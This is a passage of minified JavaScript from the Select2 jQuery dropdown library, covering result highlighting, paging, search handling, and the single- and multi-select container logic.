t,e,n,i,s=this.results,o=this.highlight();o<0||(0==o?s.scrollTop(0):(n=this.findHighlightableChoices().find(".select2-result-label"),e=(i=((t=v(n[o])).offset()||{}).top||0)+t.outerHeight(!0),o===n.length-1&&0<(o=s.find("li.select2-more-results")).length&&(e=o.offset().top+o.outerHeight(!0)),(n=s.offset().top+s.outerHeight(!1))<e&&s.scrollTop(s.scrollTop()+(e-n)),(o=i-s.offset().top)<0&&"none"!=t.css("display")&&s.scrollTop(s.scrollTop()+o)))},findHighlightableChoices:function(){return this.results.find(".select2-result-selectable:not(.select2-disabled):not(.select2-selected)")},moveHighlight:function(t){for(var e=this.findHighlightableChoices(),n=this.highlight();-1<n&&n<e.length;){var i=v(e[n+=t]);if(i.hasClass("select2-result-selectable")&&!i.hasClass("select2-disabled")&&!i.hasClass("select2-selected")){this.highlight(n);break}}},highlight:function(t){var e=this.findHighlightableChoices();if(0===arguments.length)return u(e.filter(".select2-highlighted")[0],e.get());(t=t>=e.length?e.length-1:t)<0&&(t=0),this.removeHighlight(),(e=v(e[t])).addClass("select2-highlighted"),this.search.attr("aria-activedescendant",e.find(".select2-result-label").attr("id")),this.ensureHighlightVisible(),this.liveRegion.text(e.text()),(t=e.data("select2-data"))&&this.opts.element.trigger({type:"select2-highlight",val:this.id(t),choice:t})},removeHighlight:function(){this.results.find(".select2-highlighted").removeClass("select2-highlighted")},touchMoved:function(){this._touchMoved=!0},clearTouchMoved:function(){this._touchMoved=!1},countSelectableResults:function(){return this.findHighlightableChoices().length},highlightUnderEvent:function(t){var e,t=v(t.target).closest(".select2-result-selectable");0<t.length&&!t.is(".select2-highlighted")?(e=this.findHighlightableChoices(),this.highlight(e.index(t))):0==t.length&&this.removeHighlight()},loadMoreIfNeeded:function(){var e=this.results,n=e.find("li.select2-more-results"),i=this.resultsPage+1,s=this,o=this.search.val(),a=this.context;0!==n.length&&n.offset().top-e.offset().top-e.height()<=this.opts.loadMorePadding&&(n.addClass("select2-active"),this.opts.query({element:this.opts.element,term:o,page:i,context:a,matcher:this.opts.matcher,callback:this.bind(function(t){s.opened()&&(s.opts.populateResults.call(this,e,t.results,{term:o,page:i,context:a}),s.postprocessResults(t,!1,!1),!0===t.more?(n.detach().appendTo(e).html(s.opts.escapeMarkup(A(s.opts.formatLoadMore,s.opts.element,i+1))),window.setTimeout(function(){s.loadMoreIfNeeded()},10)):n.remove(),s.positionDropdown(),s.resultsPage=i,s.context=t.context,this.opts.element.trigger({type:"select2-loaded",items:t}))})}))},tokenize:function(){},updateResults:function(n){var i,s=this.search,o=this.results,a=this.opts,r=this,t=s.val(),e=v.data(this.container,"select2-last-term");function l(){s.removeClass("select2-active"),r.positionDropdown(),o.find(".select2-no-results,.select2-selection-limit,.select2-searching").length?r.liveRegion.text(o.text()):r.liveRegion.text(r.opts.formatMatches(o.find('.select2-result-selectable:not(".select2-selected")').length))}function c(t){o.html(t),l()}!0!==n&&e&&d(t,e)||(v.data(this.container,"select2-last-term",t),(!0===n||!1!==this.showSearchInput&&this.opened())&&(i=++this.queryCount,1<=(e=this.getMaximumSelectionSize())&&(t=this.data(),v.isArray(t))&&t.length>=e&&I(a.formatSelectionTooBig,"formatSelectionTooBig")?c("<li class='select2-selection-limit'>"+A(a.formatSelectionTooBig,a.element,e)+"</li>"):s.val().length<a.minimumInputLength?(I(a.formatInputTooShort,"formatInputTooShort")?c("<li class='select2-no-results'>"+A(a.formatInputTooShort,a.element,s.val(),a.minimumInputLength)+"</li>"):c(""),n&&this.showSearch&&this.showSearch(!0)):a.maximumInputLength&&s.val().length>a.maximumInputLength?I(a.formatInputTooLong,"formatInputTooLong")?c("<li class='select2-no-results'>"+A(a.formatInputTooLong,a.element,s.val(),a.maximumInputLength)+"</li>"):c(""):(a.formatSearching&&0===this.findHighlightableChoices().length&&c("<li class='select2-searching'>"+A(a.formatSearching,a.element)+"</li>"),s.addClass("select2-active"),this.removeHighlight(),(t=this.tokenize())!=b&&null!=t&&s.val(t),this.resultsPage=1,a.query({element:a.element,term:s.val(),page:this.resultsPage,context:null,matcher:a.matcher,callback:this.bind(function(t){var e;i==this.queryCount&&(this.opened()?t.hasError!==b&&I(a.formatAjaxError,"formatAjaxError")?c("<li class='select2-ajax-error'>"+A(a.formatAjaxError,a.element,t.jqXHR,t.textStatus,t.errorThrown)+"</li>"):(this.context=t.context===b?null:t.context,this.opts.createSearchChoice&&""!==s.val()&&(e=this.opts.createSearchChoice.call(r,s.val(),t.results))!==b&&null!==e&&r.id(e)!==b&&null!==r.id(e)&&0===v(t.results).filter(function(){return d(r.id(this),r.id(e))}).length&&this.opts.createSearchChoicePosition(t.results,e),0===t.results.length&&I(a.formatNoMatches,"formatNoMatches")?(c("<li class='select2-no-results'>"+A(a.formatNoMatches,a.element,s.val())+"</li>"),this.showSearch&&this.showSearch(s.val())):(o.empty(),r.opts.populateResults.call(this,o,t.results,{term:s.val(),page:this.resultsPage,context:null}),!0===t.more&&I(a.formatLoadMore,"formatLoadMore")&&(o.append("<li class='select2-more-results'>"+a.escapeMarkup(A(a.formatLoadMore,a.element,this.resultsPage))+"</li>"),window.setTimeout(function(){r.loadMoreIfNeeded()},10)),this.postprocessResults(t,n),l(),this.opts.element.trigger({type:"select2-loaded",items:t}))):this.search.removeClass("select2-active"))})}))))},cancel:function(){this.close()},blur:function(){this.opts.selectOnBlur&&this.selectHighlighted({noFocus:!0}),this.close(),this.container.removeClass("select2-container-active"),this.search[0]===document.activeElement&&this.search.blur(),this.clearSearch(),this.selection.find(".select2-search-choice-focus").removeClass("select2-search-choice-focus")},focusSearch:function(){var n;(n=this.search)[0]!==document.activeElement&&window.setTimeout(function(){var t=n[0],e=n.val().length;n.focus(),(0<t.offsetWidth||0<t.offsetHeight)&&t===document.activeElement&&(t.setSelectionRange?t.setSelectionRange(e,e):t.createTextRange&&((e=t.createTextRange()).collapse(!1),e.select()))},0)},selectHighlighted:function(t){var e,n;this._touchMoved?this.clearTouchMoved():(e=this.highlight(),(n=this.results.find(".select2-highlighted").closest(".select2-result").data("select2-data"))?(this.highlight(e),this.onSelect(n,t)):t&&t.noFocus&&this.close())},getPlaceholder:function(){var t;return this.opts.element.attr("placeholder")||this.opts.element.attr("data-placeholder")||this.opts.element.data("placeholder")||this.opts.placeholder||((t=this.getPlaceholderOption())!==b?t.text():b)},getPlaceholderOption:function(){var t;if(this.select)return t=this.select.children("option").first(),this.opts.placeholderOption!==b?"first"===this.opts.placeholderOption&&t||"function"==typeof this.opts.placeholderOption&&this.opts.placeholderOption(this.select):""===v.trim(t.text())&&""===t.val()?t:void 0},initContainerWidth:function(){var t=function(){var t,e,n,i,s;if("off"===this.opts.width)return null;if("element"===this.opts.width)return 0===this.opts.element.outerWidth(!1)?"auto":this.opts.element.outerWidth(!1)+"px";if("copy"!==this.opts.width&&"resolve"!==this.opts.width)return v.isFunction(this.opts.width)?this.opts.width():this.opts.width;if("string"==typeof(t=this.opts.element.attr("style")))for(i=0,s=(e=t.split(";")).length;i<s;i+=1)if(null!==(n=e[i].replace(/\s/g,"").match(/^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i))&&1<=n.length)return n[1];return"resolve"===this.opts.width?0<(t=this.opts.element.css("width")).indexOf("%")?t:0===this.opts.element.outerWidth(!1)?"auto":this.opts.element.outerWidth(!1)+"px":null}.call(this);null!==t&&this.container.css("width",t)}}),e=P(t,{createContainer:function(){return v(document.createElement("div")).attr({class:"select2-container"}).html(["<a href='javascript:void(0)' class='select2-choice' tabindex='-1'>"," <span class='select2-chosen'> </span><abbr class='select2-search-choice-close'></abbr>"," <span class='select2-arrow' role='presentation'><b role='presentation'></b></span>","</a>","<label for='' class='select2-offscreen'></label>","<input class='select2-focusser select2-offscreen' type='text' aria-haspopup='true' role='button' />","<div class='select2-drop select2-display-none'>"," <div class='select2-search'>"," <label for='' class='select2-offscreen'></label>"," <input type='text' autocomplete='off' autocorrect='off' autocapitalize='off' spellcheck='false' class='select2-input' role='combobox' aria-expanded='true'"," aria-autocomplete='list' />"," </div>"," <ul class='select2-results' role='listbox'>"," </ul>","</div>"].join(""))},enableInterface:function(){this.parent.enableInterface.apply(this,arguments)&&this.focusser.prop("disabled",!this.isInterfaceEnabled())},opening:function(){var t,e;0<=this.opts.minimumResultsForSearch&&this.showSearch(!0),this.parent.opening.apply(this,arguments),!1!==this.showSearchInput&&this.search.val(this.focusser.val()),this.opts.shouldFocusInput(this)&&(this.search.focus(),(t=this.search.get(0)).createTextRange?((e=t.createTextRange()).collapse(!1),e.select()):t.setSelectionRange&&(e=this.search.val().length,t.setSelectionRange(e,e))),this.prefillNextSearchTerm(),this.focusser.prop("disabled",!0).val(""),this.updateResults(!0),this.opts.element.trigger(v.Event("select2-open"))},close:function(){this.opened()&&(this.parent.close.apply(this,arguments),this.focusser.prop("disabled",!1),this.opts.shouldFocusInput(this))&&this.focusser.focus()},focus:function(){this.opened()?this.close():(this.focusser.prop("disabled",!1),this.opts.shouldFocusInput(this)&&this.focusser.focus())},isFocused:function(){return this.container.hasClass("select2-container-active")},cancel:function(){this.parent.cancel.apply(this,arguments),this.focusser.prop("disabled",!1),this.opts.shouldFocusInput(this)&&this.focusser.focus()},destroy:function(){v("label[for='"+this.focusser.attr("id")+"']").attr("for",this.opts.element.attr("id")),this.parent.destroy.apply(this,arguments),M.call(this,"selection","focusser")},initContainer:function(){var e,t=this.container,n=this.dropdown,i=y(),i=(this.opts.minimumResultsForSearch<0?this.showSearch(!1):this.showSearch(!0),this.selection=e=t.find(".select2-choice"),this.focusser=t.find(".select2-focusser"),e.find(".select2-chosen").attr("id","select2-chosen-"+i),this.focusser.attr("aria-labelledby","select2-chosen-"+i),this.results.attr("id","select2-results-"+i),this.search.attr("aria-owns","select2-results-"+i),this.focusser.attr("id","s2id_autogen"+i),t=v("label[for='"+this.opts.element.attr("id")+"']"),this.opts.element.on("focus.select2",this.bind(function(){this.focus()})),this.focusser.prev().text(t.text()).attr("for",this.focusser.attr("id")),this.opts.element.attr("title"));this.opts.element.attr("title",i||t.text()),this.focusser.attr("tabindex",this.elementTabIndex),this.search.attr("id",this.focusser.attr("id")+"_search"),this.search.prev().text(v("label[for='"+this.focusser.attr("id")+"']").text()).attr("for",this.search.attr("id")),this.search.on("keydown",this.bind(function(t){if(this.isInterfaceEnabled()&&229!=t.keyCode)if(t.which===c.PAGE_UP||t.which===c.PAGE_DOWN)_(t);else switch(t.which){case c.UP:case c.DOWN:return this.moveHighlight(t.which===c.UP?-1:1),void _(t);case c.ENTER:return this.selectHighlighted(),void _(t);case c.TAB:return void this.selectHighlighted({noFocus:!0});case c.ESC:return this.cancel(t),void _(t)}})),this.search.on("blur",this.bind(function(t){document.activeElement===this.body.get(0)&&window.setTimeout(this.bind(function(){this.opened()&&this.results&&1<this.results.length&&this.search.focus()}),0)})),this.focusser.on("keydown",this.bind(function(t){if(this.isInterfaceEnabled()&&t.which!==c.TAB&&!c.isControl(t)&&!c.isFunctionKey(t)&&t.which!==c.ESC){if(!1!==this.opts.openOnEnter||t.which!==c.ENTER)return t.which==c.DOWN||t.which==c.UP||t.which==c.ENTER&&this.opts.openOnEnter?t.altKey||t.ctrlKey||t.shiftKey||t.metaKey?void 0:(this.open(),void _(t)):void(t.which!=c.DELETE&&t.which!=c.BACKSPACE||(this.opts.allowClear&&this.clear(),_(t)));_(t)}})),g(this.focusser),this.focusser.on("keyup-change input",this.bind(function(t){0<=this.opts.minimumResultsForSearch&&(t.stopPropagation(),this.opened()||this.open())})),e.on("mousedown touchstart","abbr",this.bind(function(t){this.isInterfaceEnabled()&&(this.clear(),(t=t).preventDefault(),t.stopImmediatePropagation(),this.close(),this.selection)&&this.selection.focus()})),e.on("mousedown touchstart",this.bind(function(t){l(e),this.container.hasClass("select2-container-active")||this.opts.element.trigger(v.Event("select2-focus")),this.opened()?this.close():this.isInterfaceEnabled()&&this.open(),_(t)})),n.on("mousedown touchstart",this.bind(function(){this.opts.shouldFocusInput(this)&&this.search.focus()})),e.on("focus",this.bind(function(t){_(t)})),this.focusser.on("focus",this.bind(function(){this.container.hasClass("select2-container-active")||this.opts.element.trigger(v.Event("select2-focus")),this.container.addClass("select2-container-active")})).on("blur",this.bind(function(){this.opened()||(this.container.removeClass("select2-container-active"),this.opts.element.trigger(v.Event("select2-blur")))})),this.search.on("focus",this.bind(function(){this.container.hasClass("select2-container-active")||this.opts.element.trigger(v.Event("select2-focus")),this.container.addClass("select2-container-active")})),this.initContainerWidth(),this.opts.element.hide(),this.setPlaceholder()},clear:function(t){var e,n=this.selection.data("select2-data");n&&(e=v.Event("select2-clearing"),this.opts.element.trigger(e),e.isDefaultPrevented()||(e=this.getPlaceholderOption(),this.opts.element.val(e?e.val():""),this.selection.find(".select2-chosen").empty(),this.selection.removeData("select2-data"),this.setPlaceholder(),!1!==t&&(this.opts.element.trigger({type:"select2-removed",val:this.id(n),choice:n}),this.triggerChange({removed:n}))))},initSelection:function(){var e;this.isPlaceholderOptionSelected()?(this.updateSelection(null),this.close(),this.setPlaceholder()):(e=this).opts.initSelection.call(null,this.opts.element,function(t){t!==b&&null!==t&&(e.updateSelection(t),e.close(),e.setPlaceholder(),e.lastSearchTerm=e.search.val())})},isPlaceholderOptionSelected:function(){var t;return this.getPlaceholder()!==b&&((t=this.getPlaceholderOption())!==b&&t.prop("selected")||""===this.opts.element.val()||this.opts.element.val()===b||null===this.opts.element.val())},prepareOpts:function(){var a=this.parent.prepareOpts.apply(this,arguments),n=this;return"select"===a.element.get(0).tagName.toLowerCase()?a.initSelection=function(t,e){t=t.find("option").filter(function(){return this.selected&&!this.disabled});e(n.optionToData(t))}:"data"in a&&(a.initSelection=a.initSelection||function(t,e){var s=t.val(),o=null;a.query({matcher:function(t,e,n){var i=d(s,a.id(n));return i&&(o=n),i},callback:v.isFunction(e)?function(){e(o)}:v.noop})}),a},getPlaceholder:function(){return this.select&&this.getPlaceholderOption()===b?b:this.parent.getPlaceholder.apply(this,arguments)},setPlaceholder:function(){var t=this.getPlaceholder();!this.isPlaceholderOptionSelected()||t===b||this.select&&this.getPlaceholderOption()===b||(this.selection.find(".select2-chosen").html(this.opts.escapeMarkup(t)),this.selection.addClass("select2-default"),this.container.removeClass("select2-allowclear"))},postprocessResults:function(t,e,n){var i=0,s=this;this.findHighlightableChoices().each2(function(t,e){if(d(s.id(e.data("select2-data")),s.opts.element.val()))return i=t,!1}),!1!==n&&(!0===e&&0<=i?this.highlight(i):this.highlight(0)),!0===e&&0<=(n=this.opts.minimumResultsForSearch)&&this.showSearch(function n(t){var i=0;return v.each(t,function(t,e){e.children?i+=n(e.children):i++}),i}(t.results)>=n)},showSearch:function(t){this.showSearchInput!==t&&(this.showSearchInput=t,this.dropdown.find(".select2-search").toggleClass("select2-search-hidden",!t),this.dropdown.find(".select2-search").toggleClass("select2-offscreen",!t),v(this.dropdown,this.container).toggleClass("select2-with-searchbox",t))},onSelect:function(t,e){var n,i;this.triggerSelect(t)&&(n=this.opts.element.val(),i=this.data(),this.opts.element.val(this.id(t)),this.updateSelection(t),this.opts.element.trigger({type:"select2-selected",val:this.id(t),choice:t}),this.lastSearchTerm=this.search.val(),this.close(),e&&e.noFocus||!this.opts.shouldFocusInput(this)||this.focusser.focus(),d(n,this.id(t))||this.triggerChange({added:t,removed:i}))},updateSelection:function(t){var e,n=this.selection.find(".select2-chosen");this.selection.data("select2-data",t),n.empty(),(e=null!==t?this.opts.formatSelection(t,n,this.opts.escapeMarkup):e)!==b&&n.append(e),(e=this.opts.formatSelectionCssClass(t,n))!==b&&n.addClass(e),this.selection.removeClass("select2-default"),this.opts.allowClear&&this.getPlaceholder()!==b&&this.container.addClass("select2-allowclear")},val:function(){var t,e=!1,n=null,i=this,s=this.data();if(0===arguments.length)return this.opts.element.val();if(t=arguments[0],1<arguments.length&&(e=arguments[1],this.opts.debug)&&console&&console.warn&&console.warn('Select2: The second option to `select2("val")` is not supported in Select2 4.0.0. The `change` event will always be triggered in 4.0.0.'),this.select)this.opts.debug&&console&&console.warn&&console.warn('Select2: Setting the value on a <select> using `select2("val")` is no longer supported in 4.0.0. You can use the `.val(newValue).trigger("change")` method provided by jQuery instead.'),this.select.val(t).find("option").filter(function(){return this.selected}).each2(function(t,e){return n=i.optionToData(e),!1}),this.updateSelection(n),this.setPlaceholder(),e&&this.triggerChange({added:n,removed:s});else if(t||0===t){if(this.opts.initSelection===b)throw new Error("cannot call val() if initSelection() is not defined");this.opts.element.val(t),this.opts.initSelection(this.opts.element,function(t){i.opts.element.val(t?i.id(t):""),i.updateSelection(t),i.setPlaceholder(),e&&i.triggerChange({added:t,removed:s})})}else this.clear(e)},clearSearch:function(){this.search.val(""),this.focusser.val("")},data:function(t){var e,n=!1;if(0===arguments.length)return e=(e=this.selection.data("select2-data"))==b?null:e;this.opts.debug&&console&&console.warn&&console.warn('Select2: The `select2("data")` method can no longer set selected values in 4.0.0, consider using the `.val()` method instead.'),1<arguments.length&&(n=arguments[1]),t?(e=this.data(),this.opts.element.val(t?this.id(t):""),this.updateSelection(t),n&&this.triggerChange({added:t,removed:e})):this.clear(n)}}),n=P(t,{createContainer:function(){return v(document.createElement("div")).attr({class:"select2-container select2-container-multi"}).html(["<ul class='select2-choices'>"," <li class='select2-search-field'>"," <label for='' class='select2-offscreen'></label>"," <input type='text' autocomplete='off' autocorrect='off' autocapitalize='off' spellcheck='false' class='select2-input'>"," </li>","</ul>","<div class='select2-drop select2-drop-multi select2-display-none'>"," <ul class='select2-results'>"," </ul>","</div>"].join(""))},prepareOpts:function(){var l=this.parent.prepareOpts.apply(this,arguments),i=this;return"select"===l.element.get(0).tagName.toLowerCase()?l.initSelection=function(t,e){var n=[];t.find("option").filter(function(){return this.selected&&!this.disabled}).each2(function(t,e){n.push(i.optionToData(e))}),e(n)}:"data"in l&&(l.initSelection=l.initSelection||function(t,o){var a=p(t.val(),l.separator,l.transformVal),r=[];l.query({matcher:function(t,e,n){var i=v.grep(a,function(t){return d(t,l.id(n))}).length;return i&&r.push(n),i},callback:v.isFunction(o)?function(){for(var t=[],e=0;e<a.length;e++)for(var n=a[e],i=0;i<r.length;i++){var s=r[i];if(d(n,l.id(s))){t.push(s),r.splice(i,1);break}}o(t)}:v.noop})}),l},selectChoice:function(t){var e=this.container.find(".select2-search-choice-focus");e.length&&t&&t[0]==e[0]||(e.length&&this.opts.element.trigger("choice-deselected",e),e.removeClass("select2-search-choice-focus"),t&&t.length&&(this.close(),t.addClass("select2-search-choice-focus"),this.opts.element.trigger("choice-selected",t)))},destroy:function(){v("label[for='"+this.search.attr("id")+"']").attr("for",this.opts.element.attr("id")),this.parent.destroy.apply(this,arguments),M.call(this,"searchContainer","selection")},initContainer:function(){var l,t=".select2-choices",e=(this.searchContainer=this.container.find(".select2-search-field"),this.selection=l=this.container.find(t),this);this.selection.on("click",".select2-container:not(.select2-container-disabled) .select2-search-choice:not(.select2-locked)",function(t){e.search[0].focus(),e.selectChoice(v(this))}),this.search.attr("id","s2id_autogen"+y()),this.search.prev().text(v("label[for='"+this.opts.element.attr("id")+"']").text()).attr("for",this.search.attr("id")),this.opts.element.on("focus.select2",this.bind(function(){this.focus()})),this.search.on("input paste",this.bind(function(){this.search.attr("placeholder")&&0==this.search.val().length||!this.isInterfaceEnabled()||this.opened()||this.open()})),this.search.attr("tabindex",this.elementTabIndex),this.keydowns=0,this.search.on("keydown",this.bind(function(t){if(this.isInterfaceEnabled()){++this.keydowns;var e,n,i,s=l.find(".select2-search-choice-focus"),o=s.prev(".select2-search-choice:not(.select2-locked)"),a=s.next(".select2-search-choice:not(.select2-locked)"),r=(r=this.search,n=e=0,"selectionStart"in(r=v(r)[0])?(e=r.selectionStart,n=r.selectionEnd-e):"selection"in document&&(r.focus(),i=document.selection.createRange(),n=document.selection.createRange().text.length,i.moveStart("character",-r.value.length),e=i.text.length-n),{offset:e,length:n});if(!s.length||t.which!=c.LEFT&&t.which!=c.RIGHT&&t.which!=c.BACKSPACE&&t.which!=c.DELETE&&t.which!=c.ENTER)if((t.which!==c.BACKSPACE||1!=this.keydowns)&&t.which!=c.LEFT||0!=r.offset||r.length){if(this.selectChoice(null),this.opened())switch(t.which){case c.UP:case c.DOWN:return this.moveHighlight(t.which===c.UP?-1:1),void _(t);case c.ENTER:return this.selectHighlighted(),void _(t);case c.TAB:return this.selectHighlighted({noFocus:!0}),void this.close();case c.ESC:return this.cancel(t),void _(t)}if(t.which!==c.TAB&&!c.isControl(t)&&!c.isFunctionKey(t)&&t.which!==c.BACKSPACE&&t.which!==c.ESC){if(t.which===c.ENTER){if(!1===this.opts.openOnEnter)return;if(t.altKey||t.ctrlKey||t.shiftKey||t.metaKey)return}this.open(),t.which!==c.PAGE_UP&&t.which!==c.PAGE_DOWN||_(t),t.which===c.ENTER&&_(t)}}else this.selectChoice(l.find(".select2-search-choice:not(.select2-locked)").last()),_(t);else i=s,t.which==c.LEFT&&o.length?i=o:t.which==c.RIGHT?i=a.length?a:null:t.which===c.BACKSPACE?this.unselect(s.first())&&(this.search.width(10),i=o.length?o:a):t.which==c.DELETE?this.unselect(s.first())&&(this.search.width(10),i=a.length?a:null):t.which==c.ENTER&&(i=null),this.selectChoice(i),_(t),i&&i.length||this.open()}})),this.search.on("keyup",this.bind(function(t){this.keydowns=0,this.resizeSearch()})),this.search.on("blur",this.bind(function(t){this.container.removeClass("select2-container-active"),this.search.removeClass("select2-focused"),this.selectChoice(null),this.opened()||this.clearSearch(),t.stopImmediatePropagation(),this.opts.element.trigger(v.Event("select2-blur"))})),this.container.on("click",t,this.bind(function(t){!this.isInterfaceEnabled()||0<v(t.target).closest(".select2-search-choice").length||(this.selectChoice(null),this.clearPlaceholder(),this.container.hasClass("select2-container-active")||this.opts.element.trigger(v.Event("select2-focus")),this.open(),this.focusSearch(),t.preventDefault())})),this.container.on("focus",t,this.bind(function(){this.isInterfaceEnabled()&&(this.container.hasClass("select2-container-active")||this.opts.element.trigger(v.Event("select2-focus")),this.container.addClass("select2-container-active"),this.dropdown.addClass("select2-drop-active"),this.clearPlaceholder())})),this.initContainerWidth(),this.opts.element.hide(),this.clearSearch()},enableInterface:function(){this.parent.enableInterface.apply(this,arguments)&&this.search.prop("disabled",!this.isInterfaceEnabled())},initSelection:function(){var e;""===this.opts.element.val()&&""===this.opts.element.text()&&(this.updateSelection([]),this.close(),this.clearSearch()),!this.select&&""===this.opts.element.val()||(e=this).opts.initSelection.call(null,this.opts.element,function(t){t!==b&&null!==t&&(e.updateSelection(t),e.close(),e.clearSearch())})},clearSearch:function(){var t=this.getPlaceholder(),e=this.getMaxSearchWidth();t!==b&&0===this.getVal().length&&!1===this.search.hasClass("select2-focused")?(this.search.val(t).addClass("select2-default"),this.search.width(0<e?e:this.container.css("width"))):this.search.val("").width(10)},clearPlaceholder:function(){this.search.hasClass("select2-default")&&this.search.val("").removeClass("select2-default")},opening:function(){this.clearPlaceholder(),this.resizeSearch(),this.parent.opening.apply(this,arguments),this.focusSearch(),this.prefillNextSearchTerm(),this.updateResults(!0),this.opts.shouldFocusInput(this)&&this.search.focus(),this.opts.element.trigger(v.Event("select2-open"))},close:function(){this.opened()&&this.parent.close.apply(this,arguments)},focus:function(){this.close(),this.search.focus()},isFocused:function(){return this.search.hasClass("select2-focused")},updateSelection:function(t){var e={},n=[],i=this;v(t).each(function(){i.id(this)in e||(e[i.id(this)]=0,n.push(this))}),this.selection.find(".select2-search-choice").remove(),this.addSelectedChoice(n),i.postprocessResults()},tokenize:function(){var t=this.search.val();null!=(t=this.opts.tokenizer.call(this,t,this.data(),this.bind(this.onSelect),this.opts))&&t!=b&&(this.search.val(t),0<t.length)&&this.open()},onSelect:function(t,e){this.triggerSelect(t)&&""!==t.text&&(this.addSelectedChoice(t),this.opts.element.trigger({type:"selected",val:this.id(t),choice:t}),this.lastSearchTerm=this.search.val(),this.clearSearch(),this.updateResults(),!this.select&&this.opts.closeOnSelect||this.postprocessResults(t,!1,!0===this.opts.closeOnSelect),!this.opts.closeOnSelect&&0<this.countSelectableResults()?(this.search.width(10),this.resizeSearch(),0<this.getMaximumSelectionSize()&&this.val().length>=this.getMaximumSelectionSize()?this.updateResults(!0):this.prefillNextSearchTerm()&&this.updateResults(),this.positionDropdown()):(this.close(),this.search.width(10)),this.triggerChange({added:t}),e&&e.noFocus||this.focusSearch())},cancel:function(){this.close(),this.focusSearch()},addSelectedChoice:function(t){var e=this.getVal(),n=this;v(t).each(function(){e.push(n.createChoice(this))}),this.setVal(e)},createChoice:function(t){var e=!t.locked,n=v("<li class='select2-search-choice'> <div></div> <a href='#' class='select2-search-choice-close' tabindex='-1'></a></li>"),i=v("<li class='select2-search-choice select2-locked'><div></div></li>"),n=e?n:i,i=this.id(t),s=this.opts.formatSelection(t,n.find("div"),this.opts.escapeMarkup);return s!=b&&n.find("div").replaceWith(v("<div></div>").html(s)),(s=this.opts.formatSelectionCssClass(t,n.find("div")))!=b&&n.addClass(s),e&&n.find(".select2-search-choice-close").on("mousedown",_).on("click dblclick",this.bind(function(t){this.isInterfaceEnabled()&&(this.unselect(v(t.target)),this.selection.find(".select2-search-choice-focus").removeClass("select2-search-choice-focus"),_(t),this.close(),this.focusSearch())})).on("focus",this.bind(function(){this.isInterfaceEnabled()&&(this.container.addClass("select2-container-active"),this.dropdown.addClass("select2-drop-active"))})),n.data("select2-data",t),n.insertBefore(this.searchContainer),i},unselect:function(t){var e,n,i=this.getVal();if(0===(t=t.closest(".select2-search-choice")).length)throw"Invalid argument: "+t+". Must be .select2-search-choice";if(e=t.data("select2-data")){var s=v.Event("select2-removing");if(s.val=this.id(e),s.choice=e,this.opts.element.trigger(s),s.isDefaultPrevented())return!1;for(;0<=(n=u(this.id(e),i));)i.splice(n,1),this.setVal(i),this.select&&this.postprocessResults();return t.remove(),this.opts.element.trigger({type:"select2-removed",val:this.id(e),choice:e}),this.triggerChange({removed:e}),!0}},postprocessResults:function(t,e,n){var i=this.getVal(),s=this.results.find(".select2-result"),o=this.results.find(".select2-result-with-children"),a=this;s.each2(function(t,e){0<=u(a.id(e.data("select2-data")),i)&&(e.addClass("select2-selected"),e.find(".select2-result-selectable").addClass("select2-selected"))}),o.each2(function(t,e){e.is(".select2-result-selectable")||0!==e.find(".select2-result-selectable:not(.select2-selected)").length||e.addClass("select2-selected")}),-1==this.highlight()&&!1!==n&&!0===this.opts.closeOnSelect&&a.highlight(0),!this.opts.createSearchChoice&&0<!s.filter(".select2-result:not(.select2-selected)").length&&(t&&(t.more||0!==this.results.find(".select2-no-results").length)||I(a.opts.formatNoMatches,"formatNoMatches")&&this.results.append("<li class='select2-no-results'>"+A(a.opts.formatNoMatches,a.opts.element,a.search.val())+"</li>"))},getMaxSearchWidth:function(){return this.selection.width()-f(this.search)},resizeSearch:function(){var t,e,n,i=f(this.search);e=this.search,s||(n=e[0].currentStyle||window.getComputedStyle(e[0],null),(s=v(document.createElement("div")).css({position:"absolute",left:"-10000px",top:"-10000px",display:"none",fontSize:n.fontSize,fontFamily:n.fontFamily,fontStyle:n.fontStyle,fontWeight:n.fontWeight,letterSpacing:n.letterSpacing,textTransform:n.textTransform,whiteSpace:"nowrap"})).attr("class","select2-sizer"),v(document.body).append(s)),s.text(e.val()),n=s.width()+10,e=this.search.offset().left,(e=(e=(e=(t=this.selection.width())-(e-this.selection.offset().left)-i)<n?t-i:e)<40?t-i:e)<=0&&(e=n),this.search.width(Math.floor(e))},getVal:function(){var t;return this.select?null===(t=this.select.val())?[]:t:p(t=this.opts.element.val(),this.opts.separator,this.opts.transformVal)},setVal:function(t){var e,n;this.select?this.select.val(t):(e=[],n={},v(t).each(function(){this in n||(e.push(this),n[this]=0)}),this.opts.element.val(0===e.length?"":e.join(this.opts.separator)))},buildChangeDetails:function(t,e){for(var e=e.slice(0),t=t.slice(0),n=0;n<e.length;n++)for(var i=0;i<t.length;i++)if(d(this.opts.id(e[n]),this.opts.id(t[i]))){e.splice(n,1),n--,t.splice(i,1);break}return{added:e,removed:t}},val:function(t,n){var i,s=this;if(0===arguments.length)return this.getVal();if((i=this.data()).length||(i=[]),t||0===t){if(this.setVal(t),this.select)this.opts.initSelection(this.select,this.bind(this.updateSelection)),n&&this.triggerChange(this.buildChangeDetails(i,this.data()));else{if(this.opts.initSelection===b)throw new Error("val() cannot be called if initSelection() is not defined");this.opts.initSelection(this.opts.element,function(t){var e=v.map(t,s.id);s.setVal(e),s.updateSelection(t),s.clearSearch(),n&&s.triggerChange(s.buildChangeDetails(i,s.data()))})}this.clearSearch()}else this.opts.element.val(""),this.updateSelection([]),this.clearSearch(),n&&this.triggerChange({added:this.data(),removed:i})},onSortStart:function(){if(this.select)throw new Error("Sorting of elements is not supported when attached to <select>. Attach to <input type='hidden'/> instead.");this.search.width(0),this.searchContainer.hide()},onSortEnd:function(){var t=[],e=this;this.searchContainer.show(),this.searchContainer.appendTo(this.searchContainer.parent()),this.resizeSearch(),this.selection.find(".select2-search-choice").each(function(){t.push(e.opts.id(v(this).data("select2-data")))}),this.setVal(t),this.triggerChange()},data:function(t,e){var n,i,s=this;if(0===arguments.length)return this.selection.children(".select2-search-choice").map(function(){return v(this).data("select2-data")}).get();i=this.data(),n=v.map(t=t||[],function(t){return s.opts.id(t)}),this.setVal(n),this.updateSelection(t),this.clearSearch(),e&&this.triggerChange(this.buildChangeDetails(i,this.data()))}}),v.fn.select2=function(){var t,e,n,i,s=Array.prototype.slice.call(arguments,0),o=["val","destroy","opened","open","close","focus","isFocused","container","dropdown","onSortStart","onSortEnd","enable","disable","readonly","positionDropdown","data","search"],a=["opened","isFocused","container","dropdown"],r=["val","data"],l={search:"externalSearch"};return 